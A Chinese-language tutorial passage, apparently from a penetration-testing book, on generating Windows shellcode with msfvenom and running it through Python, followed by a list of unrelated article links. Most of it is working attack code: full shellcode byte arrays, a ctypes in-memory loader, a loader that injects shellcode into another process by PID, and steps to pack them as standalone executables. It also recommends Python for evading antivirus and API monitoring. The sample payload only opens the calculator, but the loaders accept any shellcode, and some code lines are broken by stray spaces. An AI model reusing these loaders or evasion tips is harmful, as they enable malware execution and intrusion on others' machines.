shellcode

news2024/11/14 16:29:44

生成shellcode

在漏洞利用中,shellcode是不可或缺的部分,所以在网上有许多公开分享的 shellcode ,在不同平台上并不通用,需要选择适合的shellcode 。这里推荐两个常 见公开的安全平台:一个为公开的漏洞库exploit-db(见公众号链接10-1),一个 为公开的Shell-strom库(见公众号链接10-2),如图10-1和图10-2所示。

32553566f190424badd1f4d1e01fec2c.png

图10-1    exploit-db公开漏洞库

b078f2f7e46a42c3ad44d3b3ad932862.png

图10-2    Shell-storm公开库

此外,还可以通过软件获取shellcode 。这里选用渗透场景中出现频率较高的 Metasploit来进行shellcode生成。在配置好Metasploit 的环境中直接输入

msfvenom ,如下所示:

 

 

 

 

 

6e9c1a31b5cd4169a3f94bc1f6ae07fe.png

进入msfvenom模块后,有许多选项供选择,这里选用-L选项可以查看所有的 Payload等信息,如下所示:

6c64f968fcd149699e0e8c1448eb40c9.png

这里选择windows/x64/exec模块,设置接收值为calc.exe ,选择-f选项指定生成 脚本为Python脚本的shellcode ,如下所示:

 

 

 

 

 

d022f1746554486dbf4a24d9c119b1c2.png

 

 

 

 

 

 

10.2    shellcode 的加载与执行

shellcode是一段利用软件漏洞来执行的代码,为十六进制的机器码,因为经 常让攻击者获得shell而得名。shellcode常用机器语言编写,可在寄存器eip溢出  后,载入一段可让CPU执行的shellcode机器码,让计算机可以执行任意指令。

由于Python是一种较新的语言,并且现在多数杀毒厂商的软件对于Python文 件的查杀技术还不完善,因此多数Python文件都是可以做到免杀的,所以在

shellcode 的使用中Python也较为常见。下面讲解两种用Python加载的shellcode方 法。

1. 内存加载shellcode

首先通过下列命令生成一个shellcode 。使用msfvenom-p选项来指定payload, 这里选用了windows/项4/exec模块接收的参数。使用calc.exe执行弹出计算器的操 作。-f选项用来指定生成的shellcode 的编译语言。如下所示:

   msfvenom -p windows/x64/exec CMD= 'calc .exe ' -f py                                          

执行效果如下。

 

 

 

 

 

892c9c5594ec4565a15d46a7f69e180f.png

具体实现步骤如下。

1)导入模块,并给程序分配内存后可进行读写操作。这里用到的模块有sys 和ctypes模块:

 

from c types import *

from ctypes .win types import * import sys

PAGE_EXECUTE_READWRITE = 0x00000040

MEM_COMMIT = 0x3000  # 分配内存

PROCESS_ALL_ACCESS = ( 0x000F0000 |

 

 

 

# 区域可执行代码,可读可写

0x00100000 | 0xFFF )  #给予进程所有权限

2)调用windows api ,以便后续进行调用。Windows中有很多内置的API ,在 执行shellcode时需要调用相关的API函数,在免杀过程中,许多杀毒软件会监控  Windows的API ,调用一些底层函数,或者少见的API函数,就可以绕过杀毒软件 的API监测:

# windows api

VirtualAlloc = windll.kernel32 .VirtualAlloc

RtlMoveMemory = windll.kernel32 .RtlMoveMemory

CreateThread = windll.kernel32 .CreateThread

WaitForSingleObject = windll.kernel32 .WaitForSingleObject

 

 

 

 

 

OpenProcess = windll.kernel32 .OpenProcess

VirtualAllocEx = windll.kernel32 .VirtualAllocEx

WriteProcessMemory = windll.kernel32 .WriteProcessMemory

CreateRemoteThread = windll.kernel32 .CreateRemoteThread

 

3)将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处 理:

shellcode = bytearray(

b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"

b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"

b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"

b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"

b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"

b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"

b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"

b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"

b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"

b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"

b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"

b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"

b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"

b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"

b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"

b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"

b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"

b"\x63\x2e\x65\x78\x65\x00"

)

4)创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复 制shellcode到内存中,创建线程事件并执行:

def run1() :

VirtualAlloc .restype = c types .c_void_p  # 重载函数返回类型为void

p = VirtualAlloc(c_in t(0), c_in t(len(shellcode)), MEM_COMMIT, PAGE_

EXECUTE_READWRITE)       # 申请内存

buf = (c_char * len(shellcode)) .from_buffer(shellcode)     # 将shellcode指向

# 指针

RtlMoveMemory(c_void_p(p), buf, c_in t(len(shellcode)))     # 复制shellcode到

# 申请的内存中

h = CreateThread(c_in t(0), c_in t(0), c_void_p(p), c_in t(0), c_in t(0),

pointer(c_in t(0)))       # 执行创建线程

WaitForSingleObject(c_in t(h), c_in t(-1))     # 检测线程创建事件

if __name__ == "__main__" :

run1()

5)运行后可以成功弹出计算器,如图10-3所示,但这还没有结束,如果目标 机器中没有Python环境,shellcode便无法执行。

 

 

 

 

 

92978969319d43d38a2085d4a20d5efc.png

图10-3    用shellcode弹出计算器

6)根据脚本生成一个exe文件,使用Python的pyinstaller生成pyinstaller-F 1.py ,如下所示:

 

ec137eca551d4ff3a5b4b57abd699a9d.png

运行exe文件也成功了,如图10-4所示。

 

2e9f824336ae4509965899d1002c88d2.png

 

 

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps219.png&pos_id=NVBWmt1o

图10-4    运行exe文件

2.进程注入shellcode

输入下列命令可以生成shellcode 。跟上面一样,使用-p选定exec的模块,接受 参数值为calc.exe ,设置EXITFUNC参数值为thread ,拉起子线程并在子线程中运  行shellcode 。-f用于指定生成的shellcode为Python编码:

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps220.jpg&pos_id=7nSjTFDX

U

msfvenom -p windows/exec CMD= 'calc .exe ' EXITFUNC=thread -f py

执行效果如下所示。

 

 

 

 

 

9772cdd81c964e71931404835402bcd4.png

具体步骤如下:

1)导入模块,分配内存并给予权限,调用ctypes和sys模块:

 

from c types import *

from ctypes .win types import *

import sys

PAGE_EXECUTE_READWRITE = 0x00000040     # 区域可执行代码,可读可写

MEM_COMMIT = 0x3000                 # 分配内存

PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )  #给予进程所有权限

2)调用windows api ,以便后续调用,通过调用windows api执行shellcode 中的 内容:

# windows api

VirtualAlloc = windll.kernel32 .VirtualAlloc

RtlMoveMemory = windll.kernel32 .RtlMoveMemory

CreateThread = windll.kernel32 .CreateThread

WaitForSingleObject = windll.kernel32 .WaitForSingleObject

OpenProcess = windll.kernel32 .OpenProcess

VirtualAllocEx = windll.kernel32 .VirtualAllocEx

WriteProcessMemory = windll.kernel32 .WriteProcessMemory

CreateRemoteThread = windll.kernel32 .CreateRemoteThread

3)赋值shellcode ,这里使用另一种赋值方式:

 

shellcode1 =  b""

shellcode1 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"

 

 

 

 

 

shellcode1 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"

shellcode1 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"

shellcode1 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"

shellcode1 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"

shellcode1 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"

shellcode1 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"

shellcode1 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"

shellcode1 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"

shellcode1 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"

shellcode1 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"

shellcode1 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"

shellcode1 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"

shellcode1 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"

shellcode1 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

shellcode1 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"

shellcode1 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"

shellcode1 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41"

shellcode1 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"

shellcode1 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

shellcode1 += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"

shellcode1 += b"\x78\x65\x00"

 

4)创建一个方法run ,用接收的pid号进行进程注入,调用之前复制的api ,通 过将shellcode注入pid进程中以完成攻击:

def run2(pid) :

h_process = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

if h_process:

p = VirtualAllocEx(h_process, c_in t(0), c_in t(len(shellcode1)), MEM_ COMMIT, PAGE_EXECUTE_READWRITE)

WriteProcessMemory .argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t,

POINTER(c_size_t)]

WriteProcessMemory .restype = BOOL

buf = create_string_buffer(shellcode1)

WriteProcessMemory(h_process, p, shellcode1, sizeof(buf), byref(c_ size_t(0)))

else:

print("无法打开进程pid : %s" % pid)

sys .exit()

CreateRemoteThread(h_process, None, c_in t(0), p, None, 0, byref(c_ulong(0)))

if __name__ == "__main__" :

run2(in t(sys .argv[1]))

5)运行之前,在任务管理器里找一个被注入的进程的pid号,这里选用桌面 进程pid为6828 ,如图10-5所示。

 

 

 

 

 

09901e093b0c428ba400683750aded45.png

图10-5    选用桌面进程pid

6)成功弹出计算器程序。将代码用同样的方法,使用Python的pyinstaller生 成exe文件后,仍然可以运行,如图10-6所示。

8ad083303e39439890003c2f45d9c3f9.png

图10-6    弹出计算器程序

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1441176.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【汇编】简单的linux汇编语言程序

一、Linux系统汇编语言 Linux系统上的汇编语言可以使用不同的语法风格,主要包括Intel语法和AT&T语法。这两种语法有各自的特点和风格区别,尽管它们表示的底层机器指令相同。下面分别对两种语法进行简要说明: Intel语法 Intel语法是由I…

深入理解ES的倒排索引

目录 数据写入过程 词项字典 term dictionary 倒排表 posting list FOR算法 RBM算法 ArrayContainer BitMapContainer 词项索引 term index 在Elasticsearch中,倒排索引的设计无疑是惊为天人的,下面看下倒排索引的结构。 倒排索引分为词项索引【…

【高频前端面试题--TypeScript篇】

🚀 作者 :“码上有前” 🚀 文章简介 :前端高频面试题 🚀 欢迎小伙伴们 点赞👍、收藏⭐、留言💬 高频前端面试题--Vue3.0篇 什么是TypeScript?TypeScript数据类型TypeScript中命名空…

[word] word 2010宏已被禁用警告关闭方法 #媒体#学习方法

word 2010宏已被禁用警告关闭方法 Word2010宏已被禁用警告关闭方法:在「信任中心设置」选项的宏设置中选择「禁用所有宏,并且不通知」即可。 每次打开Word 2010,都会提示「完全警告:宏已被禁用」提示。自从Word 2010安装完毕&am…

JavaScript鼠标移动事件

🧑‍🎓 个人主页:《爱蹦跶的大A阿》 🔥当前正在更新专栏:《VUE》 、《JavaScript保姆级教程》、《krpano》、《krpano中文文档》 ​ ​ ✨ 前言 鼠标移动是用户界面中非常重要的交互行为。学习区分不同的鼠标移动事…

Vue事件中如何使用 event 对象

在Vue中,事件处理函数常常需要获取事件触发时的相关信息,比如鼠标位置、按键信息等。而要获取这些信息,就需要使用event对象。那么在Vue的事件中如何正确使用event对象呢?接下来就来详细介绍一下。 首先,在Vue的事件中…

ChatGLM2-6B模型的win10测试笔记

ChatGLM2-6B介绍: 介绍 ChatGLM2-6B 是开源中英双语对话模型 ChatGLM-6B 的第二代版本,在保留了初代模型对话流畅、部署门槛较低等众多优秀特性的基础之上,ChatGLM2-6B 引入了如下新特性: 更强大的性能:基于 ChatGLM 初…

#Js篇:js里面递归的理解

定义: 递归是一种编程技术,它是指一个函数在其定义内部调用自身的过程。 特点: 一个问题可以分解为更小的问题用同样的方法解决;分解后的子问题求解方式一样,不同的是数据规模变小;存在递归终止条件 作…

前端JavaScript篇之原型链的终点是什么?如何打印出原型链的终点?

目录 原型链的终点是什么?如何打印出原型链的终点? 原型链的终点是什么?如何打印出原型链的终点? 在 JavaScript 中,原型链是由对象和原型对象组成的链式结构。每个对象都有一个原型对象,并通过 __proto__…

ruoyi若依框架SpringSecurity实现分析

系列文章 ruoyi若依框架学习笔记-01 ruoyi若依框架分页实现分析 ruoyi若依框架SpringSecurity实现分析 文章目录 系列文章前言具体分析一、项目中的SpringSecurity版本二、登录认证流程分析三、权限鉴定四、退出登录五、SpringSecurity配置类 总结 前言 在ruoyi-vue若依框…

JavaScript综合练习2

JavaScript 综合练习 2 1. 案例演示 2. 代码实现 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title&…

docker 基于容器创建本地web容器化镜像

一、docker 基于容器创建本地web容器化镜像 1、启动指定buysbox 镜像 docker run --name b1 -it busybox:latest 2、创建目录&#xff0c;并创建html mkdir -p /data/html vi index.html 内容自定义例如&#xff1a;<h1>welcome to busybox<h1> 3、新增窗口&am…

Kubernetes实战(二十七)-HPA实战

1 HPA简介 HPA 全称是 Horizontal Pod Autoscaler&#xff0c;用于POD 水平自动伸缩&#xff0c; HPA 可以 基于 POD CPU 利用率对 deployment 中的 pod 数量进行自动扩缩容&#xff08;除了 CPU 也可以基于自定义的指标进行自动扩缩容&#xff09;。pod 自动缩放不适用于无法…

ubuntu22.04@laptop OpenCV Get Started: 005_rotate_and_translate_image

ubuntu22.04laptop OpenCV Get Started: 005_rotate_and_translate_image 1. 源由2. translate/rotate应用Demo3 translate_image3.1 C应用Demo3.2 Python应用Demo3.3 平移图像过程 4. rotate_image4.1 C应用Demo4.2 Python应用Demo4.3 旋转图像过程 5. 总结6. 参考资料 1. 源由…

Seurat - 聚类教程 (1)

设置 Seurat 对象 在本教程[1]中&#xff0c;我们将分析 10X Genomics 免费提供的外周血单核细胞 (PBMC) 数据集。在 Illumina NextSeq 500 上对 2,700 个单细胞进行了测序。可以在此处[2]找到原始数据。 我们首先读取数据。 Read10X() 函数从 10X 读取 cellranger 管道的输出&…

详细分析Redis性能监控指标 附参数解释(全)

目录 前言1. 基本指标2. 监控命令3. 实战演示 前言 对于Redis的相关知识推荐阅读&#xff1a; Redis框架从入门到学精&#xff08;全&#xff09;Python操作Redis从入门到精通附代码&#xff08;全&#xff09;Redis相关知识 1. 基本指标 Redis 是一个高性能的键值存储系统…

AWS配置内网EC2服务器上网【图形化配置】

第一种方法&#xff1a;创建EC2选择启用分配公网ip 1. 创建vpc 2. 创建子网 3. 创建互联网网关 创建互联网网关 创建互联网网关 &#xff0c;设置名称即可 然后给网关附加到新建的vpc即可 4. 给新建子网添加路由规则&#xff0c;添加新建的互联网网关然后点击保存更改 5. 新建…

《MySQL 简易速速上手小册》第4章:数据安全性管理(2024 最新版)

文章目录 4.1 用户认证和权限控制4.1.1 基础知识4.1.2 重点案例&#xff1a;使用 Python 管理 MySQL 用户权限4.1.3 拓展案例 4.2 防止 SQL 注入和其他安全威胁4.2.1 基础知识4.2.2 重点案例&#xff1a;使用 Python 和 MySQL 进行安全的数据查询4.2.3 拓展案例 4.3 数据加密和…

第十六篇【传奇开心果系列】Python的OpenCV库技术点案例示例:图像质量评估

传奇开心果短博文系列 系列短博文目录Python的OpenCV库技术点案例示例短博文系列博文目录前言一、图像质量评估方法和相关函数的介绍二、均方误差示例代码三、峰值信噪比示例代码四、结构相似性指数示例代码五、视频质量评估示例代码六、OpenCV均方根误差计算示例代码七、OpenC…

了解海外云手机的多种功能

随着社会的高度发展&#xff0c;海外云手机成为商家不可或缺的工具&#xff0c;为企业出海提供了便利的解决方案。然而&#xff0c;谈及海外云手机&#xff0c;很多人仍不了解其强大功能。究竟海外云手机有哪些功能&#xff0c;可以为我们做些什么呢&#xff1f; 由于国内电商竞…